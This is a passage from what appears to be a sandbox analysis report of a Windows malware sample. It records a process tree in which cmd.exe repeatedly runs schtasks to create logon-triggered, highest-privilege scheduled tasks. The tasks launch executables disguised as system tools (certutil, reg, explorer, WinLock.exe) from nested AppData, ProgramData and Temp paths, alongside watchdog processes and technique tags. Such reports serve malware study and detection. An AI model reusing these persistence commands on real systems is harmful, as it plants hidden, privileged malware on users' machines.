  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_3" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_windowsdesktop-runtime-7.0.16-win-x64_3" /tr ""C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_5" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_5" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PackagedCWALauncher_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PackagedCWALauncher_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PackagedCWALauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\ProgramData\MicrosoftService\rasphone.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\ProgramData\MicrosoftService\rasphone.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2732
- C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe
  "C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --watchdog-slave
  2⤵
  PID:5520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_3" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_3" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1D3C.tmp\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_5" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1824
- C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe
  "C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\UpdateCache\tasklist.exe" --watchdog-slave
  2⤵
  - Discovers running processes
  PID:5132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4012
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\MicrosoftService\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\MicrosoftService\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_4" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_4" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir3776_1656058629\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_5" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\doskey.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\doskey.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CertEnrollCtrl_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A50.tmp\Logs\CertEnrollCtrl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CertEnrollCtrl_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A50.tmp\Logs\CertEnrollCtrl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5568
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\explorer.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\explorer.exe" --watchdog-slave
  2⤵
  PID:6352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winver_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winver_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\winver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A29.tmp\Logs\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaUacHelper_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A29.tmp\Logs\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_netsh_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\netsh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_doskey_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\doskey.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_doskey_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\doskey.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_7" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_grpconv_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\UpdateCache\UpdateCache\grpconv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_grpconv_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3C.tmp\Logs\UpdateCache\UpdateCache\grpconv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2660
- C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe
  "C:\Users\Admin\AppData\Roaming\UseRemove\Logs\UpdateCache\UpdateCache\UpdateCache\msra.exe" --watchdog-slave
  2⤵
  PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_1" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\UpdateCache\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{8D3E5E1F-E032-4F94-ACE7-EFA661F3C520}\Logs\UpdateCache\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_5" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_5" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_curl_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\curl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_curl_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\curl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\rasphone.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\rasphone.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesAdvanced_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A3E.tmp\Logs\UpdateCache\UpdateCache\SystemPropertiesAdvanced.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6776
- C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe
  "C:\Users\Admin\AppData\Roaming\MergeSync\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --watchdog-slave
  2⤵
  PID:4540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchIndexer_1" /tr ""C:\Users\Admin\AppData\Roaming\EnterJoin\Logs\UpdateCache\UpdateCache\SearchIndexer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedt32_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedt32_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PresentationHost_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8C.tmp\Logs\UpdateCache\PresentationHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PresentationHost_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B8C.tmp\Logs\UpdateCache\PresentationHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PING_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PING_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A29.tmp\Logs\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaUacHelper_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A29.tmp\Logs\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdiagnhost_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_upnpcont_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1FEE.tmp\Logs\upnpcont.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5060
- - C:\Windows\SysWOW64\schtasks.exe
